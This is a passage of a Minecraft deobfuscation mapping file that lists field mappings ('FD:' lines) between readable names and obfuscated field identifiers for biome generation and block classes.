net/minecraft/world/biome/BiomeGenBase$TempCategory/COLD net/minecraft/world/biome/BiomeGenBase$TempCategory/COLD +FD: net/minecraft/world/biome/BiomeGenBase$TempCategory/MEDIUM net/minecraft/world/biome/BiomeGenBase$TempCategory/MEDIUM +FD: net/minecraft/world/biome/BiomeGenBase$TempCategory/WARM net/minecraft/world/biome/BiomeGenBase$TempCategory/WARM +FD: net/minecraft/world/biome/BiomeGenBase$TempCategory/$VALUES net/minecraft/world/biome/BiomeGenBase$TempCategory/$VALUES +FD: net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/entityClass net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/field_76300_b +FD: net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/minGroupCount net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/field_76301_c +FD: net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/maxGroupCount net/minecraft/world/biome/BiomeGenBase$SpawnListEntry/field_76299_d +FD: net/minecraft/world/biome/BiomeGenBase/frozenRiver net/minecraft/world/biome/BiomeGenBase/field_76777_m +FD: net/minecraft/world/biome/BiomeGenBase/icePlains net/minecraft/world/biome/BiomeGenBase/field_76774_n +FD: net/minecraft/world/biome/BiomeGenBase/iceMountains net/minecraft/world/biome/BiomeGenBase/field_76775_o +FD: net/minecraft/world/biome/BiomeGenBase/mushroomIsland net/minecraft/world/biome/BiomeGenBase/field_76789_p +FD: net/minecraft/world/biome/BiomeGenBase/mushroomIslandShore net/minecraft/world/biome/BiomeGenBase/field_76788_q +FD: net/minecraft/world/biome/BiomeGenBase/beach net/minecraft/world/biome/BiomeGenBase/field_76787_r +FD: net/minecraft/world/biome/BiomeGenBase/desertHills net/minecraft/world/biome/BiomeGenBase/field_76786_s +FD: net/minecraft/world/biome/BiomeGenBase/forestHills net/minecraft/world/biome/BiomeGenBase/field_76785_t +FD: net/minecraft/world/biome/BiomeGenBase/taigaHills net/minecraft/world/biome/BiomeGenBase/field_76784_u +FD: net/minecraft/world/biome/BiomeGenBase/extremeHillsEdge net/minecraft/world/biome/BiomeGenBase/field_76783_v +FD: net/minecraft/world/biome/BiomeGenBase/jungle net/minecraft/world/biome/BiomeGenBase/field_76782_w +FD: net/minecraft/world/biome/BiomeGenBase/jungleHills net/minecraft/world/biome/BiomeGenBase/field_76792_x +FD: net/minecraft/world/biome/BiomeGenBase/jungleEdge net/minecraft/world/biome/BiomeGenBase/field_150574_L +FD: net/minecraft/world/biome/BiomeGenBase/deepOcean net/minecraft/world/biome/BiomeGenBase/field_150575_M +FD: net/minecraft/world/biome/BiomeGenBase/stoneBeach net/minecraft/world/biome/BiomeGenBase/field_150576_N +FD: net/minecraft/world/biome/BiomeGenBase/coldBeach net/minecraft/world/biome/BiomeGenBase/field_150577_O +FD: net/minecraft/world/biome/BiomeGenBase/birchForest net/minecraft/world/biome/BiomeGenBase/field_150583_P +FD: net/minecraft/world/biome/BiomeGenBase/birchForestHills net/minecraft/world/biome/BiomeGenBase/field_150582_Q +FD: net/minecraft/world/biome/BiomeGenBase/roofedForest net/minecraft/world/biome/BiomeGenBase/field_150585_R +FD: net/minecraft/world/biome/BiomeGenBase/coldTaiga net/minecraft/world/biome/BiomeGenBase/field_150584_S +FD: net/minecraft/world/biome/BiomeGenBase/coldTaigaHills net/minecraft/world/biome/BiomeGenBase/field_150579_T +FD: net/minecraft/world/biome/BiomeGenBase/megaTaiga net/minecraft/world/biome/BiomeGenBase/field_150578_U +FD: net/minecraft/world/biome/BiomeGenBase/megaTaigaHills net/minecraft/world/biome/BiomeGenBase/field_150581_V +FD: net/minecraft/world/biome/BiomeGenBase/extremeHillsPlus net/minecraft/world/biome/BiomeGenBase/field_150580_W +FD: net/minecraft/world/biome/BiomeGenBase/savanna net/minecraft/world/biome/BiomeGenBase/field_150588_X +FD: net/minecraft/world/biome/BiomeGenBase/savannaPlateau net/minecraft/world/biome/BiomeGenBase/field_150587_Y +FD: net/minecraft/world/biome/BiomeGenBase/height_Default net/minecraft/world/biome/BiomeGenBase/field_150596_a +FD: net/minecraft/world/biome/BiomeGenBase/worldGeneratorTrees net/minecraft/world/biome/BiomeGenBase/field_76757_N +FD: net/minecraft/world/biome/BiomeGenBase/worldGeneratorBigTree net/minecraft/world/biome/BiomeGenBase/field_76758_O +FD: net/minecraft/world/biome/BiomeGenBase/worldGeneratorSwamp net/minecraft/world/biome/BiomeGenBase/field_76763_Q +FD: net/minecraft/world/biome/BiomeGenBase/logger net/minecraft/world/biome/BiomeGenBase/field_150586_aC +FD: net/minecraft/world/biome/BiomeGenBase/biomeList net/minecraft/world/biome/BiomeGenBase/field_76773_a +FD: net/minecraft/world/biome/BiomeGenBase/mesa net/minecraft/world/biome/BiomeGenBase/field_150589_Z +FD: net/minecraft/world/biome/BiomeGenBase/mesaPlateau_F net/minecraft/world/biome/BiomeGenBase/field_150607_aa +FD: net/minecraft/world/biome/BiomeGenBase/mesaPlateau net/minecraft/world/biome/BiomeGenBase/field_150608_ab +FD: net/minecraft/world/biome/BiomeGenBase/field_180279_ad net/minecraft/world/biome/BiomeGenBase/field_180279_ad +FD: net/minecraft/world/biome/BiomeGenBase/temperatureNoise net/minecraft/world/biome/BiomeGenBase/field_150605_ac +FD: net/minecraft/world/biome/BiomeGenBase/GRASS_COLOR_NOISE net/minecraft/world/biome/BiomeGenBase/field_180281_af +FD: net/minecraft/world/biome/BiomeGenBase/DOUBLE_PLANT_GENERATOR net/minecraft/world/biome/BiomeGenBase/field_180280_ag +FD: net/minecraft/world/biome/BiomeGenBase/biomeName net/minecraft/world/biome/BiomeGenBase/field_76791_y +FD: net/minecraft/world/biome/BiomeGenBase/color net/minecraft/world/biome/BiomeGenBase/field_76790_z +FD: net/minecraft/world/biome/BiomeGenBase/field_150609_ah net/minecraft/world/biome/BiomeGenBase/field_150609_ah +FD: net/minecraft/world/biome/BiomeGenBase/topBlock net/minecraft/world/biome/BiomeGenBase/field_76752_A +FD: net/minecraft/world/biome/BiomeGenBase/fillerBlock net/minecraft/world/biome/BiomeGenBase/field_76753_B +FD: net/minecraft/world/biome/BiomeGenBase/fillerBlockMetadata net/minecraft/world/biome/BiomeGenBase/field_76754_C +FD: net/minecraft/world/biome/BiomeGenBase/minHeight net/minecraft/world/biome/BiomeGenBase/field_76748_D +FD: net/minecraft/world/biome/BiomeGenBase/maxHeight net/minecraft/world/biome/BiomeGenBase/field_76749_E +FD: net/minecraft/world/biome/BiomeGenBase/temperature net/minecraft/world/biome/BiomeGenBase/field_76750_F +FD: net/minecraft/world/biome/BiomeGenBase/rainfall net/minecraft/world/biome/BiomeGenBase/field_76751_G +FD: net/minecraft/world/biome/BiomeGenBase/waterColorMultiplier net/minecraft/world/biome/BiomeGenBase/field_76759_H +FD: net/minecraft/world/biome/BiomeGenBase/theBiomeDecorator net/minecraft/world/biome/BiomeGenBase/field_76760_I +FD: net/minecraft/world/biome/BiomeGenBase/spawnableMonsterList net/minecraft/world/biome/BiomeGenBase/field_76761_J +FD: net/minecraft/world/biome/BiomeGenBase/spawnableCreatureList net/minecraft/world/biome/BiomeGenBase/field_76762_K +FD: net/minecraft/world/biome/BiomeGenBase/spawnableWaterCreatureList net/minecraft/world/biome/BiomeGenBase/field_76755_L +FD: net/minecraft/world/biome/BiomeGenBase/spawnableCaveCreatureList net/minecraft/world/biome/BiomeGenBase/field_82914_M +FD: net/minecraft/world/biome/BiomeGenBase/enableSnow net/minecraft/world/biome/BiomeGenBase/field_76766_R +FD: net/minecraft/world/biome/BiomeGenBase/enableRain net/minecraft/world/biome/BiomeGenBase/field_76765_S +FD: net/minecraft/world/biome/BiomeGenBase/biomeID net/minecraft/world/biome/BiomeGenBase/field_76756_M +FD: net/minecraft/world/biome/BiomeGenBase/height_ShallowWaters net/minecraft/world/biome/BiomeGenBase/field_150594_b +FD: net/minecraft/world/biome/BiomeGenBase/height_Oceans net/minecraft/world/biome/BiomeGenBase/field_150595_c +FD: net/minecraft/world/biome/BiomeGenBase/height_DeepOceans net/minecraft/world/biome/BiomeGenBase/field_150592_d +FD: net/minecraft/world/biome/BiomeGenBase/height_LowPlains net/minecraft/world/biome/BiomeGenBase/field_150593_e +FD: net/minecraft/world/biome/BiomeGenBase/height_MidPlains net/minecraft/world/biome/BiomeGenBase/field_150590_f +FD: net/minecraft/world/biome/BiomeGenBase/height_LowHills net/minecraft/world/biome/BiomeGenBase/field_150591_g +FD: net/minecraft/world/biome/BiomeGenBase/height_HighPlateaus net/minecraft/world/biome/BiomeGenBase/field_150602_h +FD: net/minecraft/world/biome/BiomeGenBase/height_MidHills net/minecraft/world/biome/BiomeGenBase/field_150603_i +FD: net/minecraft/world/biome/BiomeGenBase/height_Shores net/minecraft/world/biome/BiomeGenBase/field_150600_j +FD: net/minecraft/world/biome/BiomeGenBase/height_RockyWaters net/minecraft/world/biome/BiomeGenBase/field_150601_k +FD: net/minecraft/world/biome/BiomeGenBase/height_LowIslands net/minecraft/world/biome/BiomeGenBase/field_150598_l +FD: net/minecraft/world/biome/BiomeGenBase/height_PartiallySubmerged net/minecraft/world/biome/BiomeGenBase/field_150599_m +FD: net/minecraft/world/biome/BiomeGenBase/explorationBiomesList net/minecraft/world/biome/BiomeGenBase/field_150597_n +FD: net/minecraft/world/biome/BiomeGenBase/BIOME_ID_MAP net/minecraft/world/biome/BiomeGenBase/field_180278_o +FD: net/minecraft/world/biome/BiomeGenBase/ocean net/minecraft/world/biome/BiomeGenBase/field_76771_b +FD: net/minecraft/world/biome/BiomeGenBase/plains net/minecraft/world/biome/BiomeGenBase/field_76772_c +FD: net/minecraft/world/biome/BiomeGenBase/desert net/minecraft/world/biome/BiomeGenBase/field_76769_d +FD: net/minecraft/world/biome/BiomeGenBase/extremeHills net/minecraft/world/biome/BiomeGenBase/field_76770_e +FD: net/minecraft/world/biome/BiomeGenBase/forest net/minecraft/world/biome/BiomeGenBase/field_76767_f +FD: net/minecraft/world/biome/BiomeGenBase/taiga net/minecraft/world/biome/BiomeGenBase/field_76768_g +FD: net/minecraft/world/biome/BiomeGenBase/swampland net/minecraft/world/biome/BiomeGenBase/field_76780_h +FD: net/minecraft/world/biome/BiomeGenBase/river net/minecraft/world/biome/BiomeGenBase/field_76781_i +FD: net/minecraft/world/biome/BiomeGenBase/hell net/minecraft/world/biome/BiomeGenBase/field_76778_j +FD: net/minecraft/world/biome/BiomeGenBase/sky net/minecraft/world/biome/BiomeGenBase/field_76779_k +FD: net/minecraft/world/biome/BiomeGenBase/frozenOcean net/minecraft/world/biome/BiomeGenBase/field_76776_l +FD: net/minecraft/world/biome/BiomeCache$Block/rainfallValues net/minecraft/world/biome/BiomeCache$Block/field_76890_b +FD: net/minecraft/world/biome/BiomeCache$Block/biomes net/minecraft/world/biome/BiomeCache$Block/field_76891_c +FD: net/minecraft/world/biome/BiomeCache$Block/xPosition net/minecraft/world/biome/BiomeCache$Block/field_76888_d +FD: net/minecraft/world/biome/BiomeCache$Block/zPosition net/minecraft/world/biome/BiomeCache$Block/field_76889_e +FD: net/minecraft/world/biome/BiomeCache$Block/lastAccessTime net/minecraft/world/biome/BiomeCache$Block/field_76886_f +FD: net/minecraft/world/biome/BiomeCache$Block/field_76887_g net/minecraft/world/biome/BiomeCache$Block/field_76887_g +FD: net/minecraft/world/biome/BiomeCache/chunkManager net/minecraft/world/biome/BiomeCache/field_76844_a +FD: net/minecraft/world/biome/BiomeCache/lastCleanupTime net/minecraft/world/biome/BiomeCache/field_76842_b +FD: net/minecraft/world/biome/BiomeCache/cacheMap net/minecraft/world/biome/BiomeCache/field_76843_c +FD: net/minecraft/world/biome/BiomeCache/cache net/minecraft/world/biome/BiomeCache/field_76841_d +FD: net/minecraft/world/biome/BiomeColorHelper/GRASS_COLOR net/minecraft/world/biome/BiomeColorHelper/field_180291_a +FD: net/minecraft/world/biome/BiomeColorHelper/FOLIAGE_COLOR net/minecraft/world/biome/BiomeColorHelper/field_180289_b +FD: net/minecraft/world/biome/BiomeColorHelper/WATER_COLOR_MULTIPLIER net/minecraft/world/biome/BiomeColorHelper/field_180290_c +FD: net/minecraft/world/biome/BiomeDecorator/treesPerChunk net/minecraft/world/biome/BiomeDecorator/field_76832_z +FD: net/minecraft/world/biome/BiomeDecorator/flowersPerChunk net/minecraft/world/biome/BiomeDecorator/field_76802_A +FD: net/minecraft/world/biome/BiomeDecorator/grassPerChunk net/minecraft/world/biome/BiomeDecorator/field_76803_B +FD: net/minecraft/world/biome/BiomeDecorator/deadBushPerChunk net/minecraft/world/biome/BiomeDecorator/field_76804_C +FD: net/minecraft/world/biome/BiomeDecorator/mushroomsPerChunk net/minecraft/world/biome/BiomeDecorator/field_76798_D +FD: net/minecraft/world/biome/BiomeDecorator/reedsPerChunk net/minecraft/world/biome/BiomeDecorator/field_76799_E +FD: net/minecraft/world/biome/BiomeDecorator/cactiPerChunk net/minecraft/world/biome/BiomeDecorator/field_76800_F +FD: net/minecraft/world/biome/BiomeDecorator/sandPerChunk net/minecraft/world/biome/BiomeDecorator/field_76801_G +FD: net/minecraft/world/biome/BiomeDecorator/sandPerChunk2 net/minecraft/world/biome/BiomeDecorator/field_76805_H +FD: net/minecraft/world/biome/BiomeDecorator/clayPerChunk net/minecraft/world/biome/BiomeDecorator/field_76806_I +FD: net/minecraft/world/biome/BiomeDecorator/bigMushroomsPerChunk net/minecraft/world/biome/BiomeDecorator/field_76807_J +FD: net/minecraft/world/biome/BiomeDecorator/generateLakes net/minecraft/world/biome/BiomeDecorator/field_76808_K +FD: net/minecraft/world/biome/BiomeDecorator/currentWorld net/minecraft/world/biome/BiomeDecorator/field_76815_a +FD: net/minecraft/world/biome/BiomeDecorator/randomGenerator net/minecraft/world/biome/BiomeDecorator/field_76813_b +FD: net/minecraft/world/biome/BiomeDecorator/field_180294_c net/minecraft/world/biome/BiomeDecorator/field_180294_c +FD: net/minecraft/world/biome/BiomeDecorator/chunkProviderSettings net/minecraft/world/biome/BiomeDecorator/field_180293_d +FD: net/minecraft/world/biome/BiomeDecorator/clayGen net/minecraft/world/biome/BiomeDecorator/field_76809_f +FD: net/minecraft/world/biome/BiomeDecorator/sandGen net/minecraft/world/biome/BiomeDecorator/field_76810_g +FD: net/minecraft/world/biome/BiomeDecorator/gravelAsSandGen net/minecraft/world/biome/BiomeDecorator/field_76822_h +FD: net/minecraft/world/biome/BiomeDecorator/dirtGen net/minecraft/world/biome/BiomeDecorator/field_76823_i +FD: net/minecraft/world/biome/BiomeDecorator/gravelGen net/minecraft/world/biome/BiomeDecorator/field_76820_j +FD: net/minecraft/world/biome/BiomeDecorator/graniteGen net/minecraft/world/biome/BiomeDecorator/field_180296_j +FD: net/minecraft/world/biome/BiomeDecorator/dioriteGen net/minecraft/world/biome/BiomeDecorator/field_180297_k +FD: net/minecraft/world/biome/BiomeDecorator/andesiteGen net/minecraft/world/biome/BiomeDecorator/field_180295_l +FD: net/minecraft/world/biome/BiomeDecorator/coalGen net/minecraft/world/biome/BiomeDecorator/field_76821_k +FD: net/minecraft/world/biome/BiomeDecorator/ironGen net/minecraft/world/biome/BiomeDecorator/field_76818_l +FD: net/minecraft/world/biome/BiomeDecorator/goldGen net/minecraft/world/biome/BiomeDecorator/field_76819_m +FD: net/minecraft/world/biome/BiomeDecorator/redstoneGen net/minecraft/world/biome/BiomeDecorator/field_180299_p +FD: net/minecraft/world/biome/BiomeDecorator/diamondGen net/minecraft/world/biome/BiomeDecorator/field_180298_q +FD: net/minecraft/world/biome/BiomeDecorator/lapisGen net/minecraft/world/biome/BiomeDecorator/field_76831_p +FD: net/minecraft/world/biome/BiomeDecorator/yellowFlowerGen net/minecraft/world/biome/BiomeDecorator/field_150514_p +FD: net/minecraft/world/biome/BiomeDecorator/mushroomBrownGen net/minecraft/world/biome/BiomeDecorator/field_76828_s +FD: net/minecraft/world/biome/BiomeDecorator/mushroomRedGen net/minecraft/world/biome/BiomeDecorator/field_76827_t +FD: net/minecraft/world/biome/BiomeDecorator/bigMushroomGen net/minecraft/world/biome/BiomeDecorator/field_76826_u +FD: net/minecraft/world/biome/BiomeDecorator/reedGen net/minecraft/world/biome/BiomeDecorator/field_76825_v +FD: net/minecraft/world/biome/BiomeDecorator/cactusGen net/minecraft/world/biome/BiomeDecorator/field_76824_w +FD: net/minecraft/world/biome/BiomeDecorator/waterlilyGen net/minecraft/world/biome/BiomeDecorator/field_76834_x +FD: net/minecraft/world/biome/BiomeDecorator/waterlilyPerChunk net/minecraft/world/biome/BiomeDecorator/field_76833_y +FD: net/minecraft/world/biome/WorldChunkManager/genBiomes net/minecraft/world/biome/WorldChunkManager/field_76944_d +FD: net/minecraft/world/biome/WorldChunkManager/biomeIndexLayer net/minecraft/world/biome/WorldChunkManager/field_76945_e +FD: net/minecraft/world/biome/WorldChunkManager/biomeCache net/minecraft/world/biome/WorldChunkManager/field_76942_f +FD: net/minecraft/world/biome/WorldChunkManager/biomesToSpawnIn net/minecraft/world/biome/WorldChunkManager/field_76943_g +FD: net/minecraft/world/biome/WorldChunkManager/generatorOptions net/minecraft/world/biome/WorldChunkManager/field_180301_f +FD: net/minecraft/world/biome/BiomeGenHills/theWorldGenerator net/minecraft/world/biome/BiomeGenHills/field_82915_S +FD: net/minecraft/world/biome/BiomeGenHills/field_150634_aD net/minecraft/world/biome/BiomeGenHills/field_150634_aD +FD: net/minecraft/world/biome/BiomeGenHills/field_150635_aE net/minecraft/world/biome/BiomeGenHills/field_150635_aE +FD: net/minecraft/world/biome/BiomeGenHills/field_150636_aF net/minecraft/world/biome/BiomeGenHills/field_150636_aF +FD: net/minecraft/world/biome/BiomeGenHills/field_150637_aG net/minecraft/world/biome/BiomeGenHills/field_150637_aG +FD: net/minecraft/world/biome/BiomeGenHills/field_150638_aH net/minecraft/world/biome/BiomeGenHills/field_150638_aH +FD: net/minecraft/world/biome/WorldChunkManagerHell/biomeGenerator net/minecraft/world/biome/WorldChunkManagerHell/field_76947_d +FD: net/minecraft/world/biome/WorldChunkManagerHell/rainfall net/minecraft/world/biome/WorldChunkManagerHell/field_76946_f +FD: net/minecraft/world/biome/BiomeGenForest$2/field_150612_aC net/minecraft/world/biome/BiomeGenForest$2/field_150612_aC +FD: net/minecraft/world/biome/BiomeGenForest$1/field_150613_aC net/minecraft/world/biome/BiomeGenForest$1/field_150613_aC +FD: net/minecraft/world/biome/BiomeGenForest/field_150629_aC net/minecraft/world/biome/BiomeGenForest/field_150629_aC +FD: net/minecraft/world/biome/BiomeGenForest/field_150630_aD net/minecraft/world/biome/BiomeGenForest/field_150630_aD +FD: net/minecraft/world/biome/BiomeGenForest/field_150631_aE net/minecraft/world/biome/BiomeGenForest/field_150631_aE +FD: net/minecraft/world/biome/BiomeGenForest/field_150632_aF net/minecraft/world/biome/BiomeGenForest/field_150632_aF +FD: net/minecraft/world/biome/BiomeGenSnow/field_150615_aC net/minecraft/world/biome/BiomeGenSnow/field_150615_aC +FD: net/minecraft/world/biome/BiomeGenSnow/field_150616_aD net/minecraft/world/biome/BiomeGenSnow/field_150616_aD +FD: net/minecraft/world/biome/BiomeGenSnow/field_150617_aE net/minecraft/world/biome/BiomeGenSnow/field_150617_aE +FD: net/minecraft/world/biome/BiomeGenJungle/field_150614_aC net/minecraft/world/biome/BiomeGenJungle/field_150614_aC +FD: net/minecraft/world/biome/BiomeGenJungle/field_181620_aE net/minecraft/world/biome/BiomeGenJungle/field_181620_aE +FD: net/minecraft/world/biome/BiomeGenJungle/field_181621_aF net/minecraft/world/biome/BiomeGenJungle/field_181621_aF +FD: net/minecraft/world/biome/BiomeGenJungle/field_181622_aG net/minecraft/world/biome/BiomeGenJungle/field_181622_aG +FD: net/minecraft/world/biome/BiomeGenMesa/field_150621_aC net/minecraft/world/biome/BiomeGenMesa/field_150621_aC +FD: net/minecraft/world/biome/BiomeGenMesa/field_150622_aD net/minecraft/world/biome/BiomeGenMesa/field_150622_aD +FD: net/minecraft/world/biome/BiomeGenMesa/field_150623_aE net/minecraft/world/biome/BiomeGenMesa/field_150623_aE +FD: net/minecraft/world/biome/BiomeGenMesa/field_150624_aF net/minecraft/world/biome/BiomeGenMesa/field_150624_aF +FD: net/minecraft/world/biome/BiomeGenMesa/field_150625_aG net/minecraft/world/biome/BiomeGenMesa/field_150625_aG +FD: net/minecraft/world/biome/BiomeGenMesa/field_150626_aH net/minecraft/world/biome/BiomeGenMesa/field_150626_aH +FD: net/minecraft/world/biome/BiomeGenMesa/field_150620_aI net/minecraft/world/biome/BiomeGenMesa/field_150620_aI +FD: net/minecraft/world/biome/BiomeGenMutated/baseBiome net/minecraft/world/biome/BiomeGenMutated/field_150611_aD +FD: net/minecraft/world/biome/BiomeGenPlains/field_150628_aC net/minecraft/world/biome/BiomeGenPlains/field_150628_aC +FD: net/minecraft/world/biome/BiomeGenSavanna/field_150627_aC net/minecraft/world/biome/BiomeGenSavanna/field_150627_aC +FD: net/minecraft/world/biome/BiomeGenTaiga/field_150639_aC net/minecraft/world/biome/BiomeGenTaiga/field_150639_aC +FD: net/minecraft/world/biome/BiomeGenTaiga/field_150640_aD net/minecraft/world/biome/BiomeGenTaiga/field_150640_aD +FD: net/minecraft/world/biome/BiomeGenTaiga/field_150641_aE net/minecraft/world/biome/BiomeGenTaiga/field_150641_aE +FD: net/minecraft/world/biome/BiomeGenTaiga/field_150642_aF net/minecraft/world/biome/BiomeGenTaiga/field_150642_aF +FD: net/minecraft/world/biome/BiomeGenTaiga/field_150643_aG net/minecraft/world/biome/BiomeGenTaiga/field_150643_aG +FD: net/minecraft/world/biome/BiomeGenTaiga/field_150644_aH net/minecraft/world/biome/BiomeGenTaiga/field_150644_aH +FD: net/minecraft/world/biome/BiomeEndDecorator/spikeGen net/minecraft/world/biome/BiomeEndDecorator/field_76835_L +FD: net/minecraft/block/BlockAnvil$Anvil/world net/minecraft/block/BlockAnvil$Anvil/field_175130_a +FD: net/minecraft/block/BlockAnvil$Anvil/position net/minecraft/block/BlockAnvil$Anvil/field_175129_b +FD: net/minecraft/block/BlockAnvil/FACING net/minecraft/block/BlockAnvil/field_176506_a +FD: net/minecraft/block/BlockAnvil/DAMAGE net/minecraft/block/BlockAnvil/field_176505_b +FD: net/minecraft/block/BlockBanner$1/field_180370_a net/minecraft/block/BlockBanner$1/field_180370_a +FD: net/minecraft/block/BlockBanner/FACING net/minecraft/block/BlockBanner/field_176449_a +FD: net/minecraft/block/BlockBanner/ROTATION net/minecraft/block/BlockBanner/field_176448_b +FD: net/minecraft/block/BlockRailBase$1/field_180371_a net/minecraft/block/BlockRailBase$1/field_180371_a +FD: net/minecraft/block/BlockRailBase$Rail/field_150662_a net/minecraft/block/BlockRailBase$Rail/field_150662_a +FD: net/minecraft/block/BlockRailBase$Rail/world net/minecraft/block/BlockRailBase$Rail/field_150660_b +FD: net/minecraft/block/BlockRailBase$Rail/pos net/minecraft/block/BlockRailBase$Rail/field_180367_c +FD: net/minecraft/block/BlockRailBase$Rail/block net/minecraft/block/BlockRailBase$Rail/field_180365_d +FD: net/minecraft/block/BlockRailBase$Rail/state net/minecraft/block/BlockRailBase$Rail/field_180366_e +FD: net/minecraft/block/BlockRailBase$Rail/isPowered net/minecraft/block/BlockRailBase$Rail/field_150656_f +FD: net/minecraft/block/BlockRailBase$Rail/field_150657_g net/minecraft/block/BlockRailBase$Rail/field_150657_g +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/NORTH_SOUTH net/minecraft/block/BlockRailBase$EnumRailDirection/NORTH_SOUTH +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/EAST_WEST net/minecraft/block/BlockRailBase$EnumRailDirection/EAST_WEST +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_EAST net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_EAST +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_WEST net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_WEST +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_NORTH net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_NORTH +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_SOUTH net/minecraft/block/BlockRailBase$EnumRailDirection/ASCENDING_SOUTH +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/SOUTH_EAST net/minecraft/block/BlockRailBase$EnumRailDirection/SOUTH_EAST +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/SOUTH_WEST net/minecraft/block/BlockRailBase$EnumRailDirection/SOUTH_WEST +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/NORTH_WEST net/minecraft/block/BlockRailBase$EnumRailDirection/NORTH_WEST +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/NORTH_EAST net/minecraft/block/BlockRailBase$EnumRailDirection/NORTH_EAST +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/META_LOOKUP net/minecraft/block/BlockRailBase$EnumRailDirection/field_177030_k +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/meta net/minecraft/block/BlockRailBase$EnumRailDirection/field_177027_l +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/name net/minecraft/block/BlockRailBase$EnumRailDirection/field_177028_m +FD: net/minecraft/block/BlockRailBase$EnumRailDirection/$VALUES net/minecraft/block/BlockRailBase$EnumRailDirection/$VALUES +FD: net/minecraft/block/BlockRailBase/isPowered net/minecraft/block/BlockRailBase/field_150053_a +FD: net/minecraft/block/BlockBeacon$1$1/field_180369_a net/minecraft/block/BlockBeacon$1$1/field_180369_a +FD: net/minecraft/block/BlockBeacon$1$1/field_180368_b net/minecraft/block/BlockBeacon$1$1/field_180368_b +FD: net/minecraft/block/BlockBeacon$1/field_180358_a net/minecraft/block/BlockBeacon$1/field_180358_a +FD: net/minecraft/block/BlockBeacon$1/field_180357_b net/minecraft/block/BlockBeacon$1/field_180357_b +FD: net/minecraft/block/BlockBed$EnumPartType/HEAD net/minecraft/block/BlockBed$EnumPartType/HEAD +FD: net/minecraft/block/BlockBed$EnumPartType/FOOT net/minecraft/block/BlockBed$EnumPartType/FOOT +FD: net/minecraft/block/BlockBed$EnumPartType/name net/minecraft/block/BlockBed$EnumPartType/field_177036_c +FD: net/minecraft/block/BlockBed$EnumPartType/$VALUES net/minecraft/block/BlockBed$EnumPartType/$VALUES +FD: net/minecraft/block/BlockBed/PART net/minecraft/block/BlockBed/field_176472_a +FD: net/minecraft/block/BlockBed/OCCUPIED net/minecraft/block/BlockBed/field_176471_b +FD: net/minecraft/block/Block$EnumOffsetType/NONE net/minecraft/block/Block$EnumOffsetType/NONE +FD: net/minecraft/block/Block$EnumOffsetType/XZ net/minecraft/block/Block$EnumOffsetType/XZ +FD: net/minecraft/block/Block$EnumOffsetType/XYZ net/minecraft/block/Block$EnumOffsetType/XYZ +FD: net/minecraft/block/Block$EnumOffsetType/$VALUES net/minecraft/block/Block$EnumOffsetType/$VALUES +FD: net/minecraft/block/Block$SoundType/soundName net/minecraft/block/Block$SoundType/field_150501_a +FD: net/minecraft/block/Block$SoundType/volume net/minecraft/block/Block$SoundType/field_150499_b +FD: net/minecraft/block/Block$SoundType/frequency net/minecraft/block/Block$SoundType/field_150500_c +FD: net/minecraft/block/Block/isBlockContainer net/minecraft/block/Block/field_149758_A +FD: net/minecraft/block/Block/minX net/minecraft/block/Block/field_149759_B +FD: net/minecraft/block/Block/minY net/minecraft/block/Block/field_149760_C +FD: net/minecraft/block/Block/minZ net/minecraft/block/Block/field_149754_D +FD: net/minecraft/block/Block/maxX net/minecraft/block/Block/field_149755_E +FD: net/minecraft/block/Block/maxY net/minecraft/block/Block/field_149756_F +FD: net/minecraft/block/Block/maxZ net/minecraft/block/Block/field_149757_G +FD: net/minecraft/block/Block/stepSound net/minecraft/block/Block/field_149762_H +FD: net/minecraft/block/Block/blockParticleGravity net/minecraft/block/Block/field_149763_I +FD: net/minecraft/block/Block/blockMaterial net/minecraft/block/Block/field_149764_J +FD: net/minecraft/block/Block/blockMapColor net/minecraft/block/Block/field_181083_K +FD: net/minecraft/block/Block/slipperiness net/minecraft/block/Block/field_149765_K +FD: net/minecraft/block/Block/blockState net/minecraft/block/Block/field_176227_L +FD: net/minecraft/block/Block/defaultBlockState net/minecraft/block/Block/field_176228_M +FD: net/minecraft/block/Block/unlocalizedName net/minecraft/block/Block/field_149770_b +FD: net/minecraft/block/Block/AIR_ID net/minecraft/block/Block/field_176230_a +FD: net/minecraft/block/Block/displayOnCreativeTab net/minecraft/block/Block/field_149772_a +FD: net/minecraft/block/Block/blockRegistry net/minecraft/block/Block/field_149771_c +FD: net/minecraft/block/Block/BLOCK_STATE_IDS net/minecraft/block/Block/field_176229_d +FD: net/minecraft/block/Block/soundTypeStone net/minecraft/block/Block/field_149769_e +FD: net/minecraft/block/Block/soundTypeWood net/minecraft/block/Block/field_149766_f +FD: net/minecraft/block/Block/soundTypeGravel net/minecraft/block/Block/field_149767_g +FD: net/minecraft/block/Block/soundTypeGrass net/minecraft/block/Block/field_149779_h +FD: net/minecraft/block/Block/soundTypePiston net/minecraft/block/Block/field_149780_i +FD: net/minecraft/block/Block/soundTypeMetal net/minecraft/block/Block/field_149777_j +FD: net/minecraft/block/Block/soundTypeGlass net/minecraft/block/Block/field_149778_k +FD: net/minecraft/block/Block/soundTypeCloth net/minecraft/block/Block/field_149775_l +FD: net/minecraft/block/Block/soundTypeSand net/minecraft/block/Block/field_149776_m +FD: net/minecraft/block/Block/soundTypeSnow net/minecraft/block/Block/field_149773_n +FD: net/minecraft/block/Block/soundTypeLadder net/minecraft/block/Block/field_149774_o +FD: net/minecraft/block/Block/soundTypeAnvil net/minecraft/block/Block/field_149788_p +FD: net/minecraft/block/Block/SLIME_SOUND 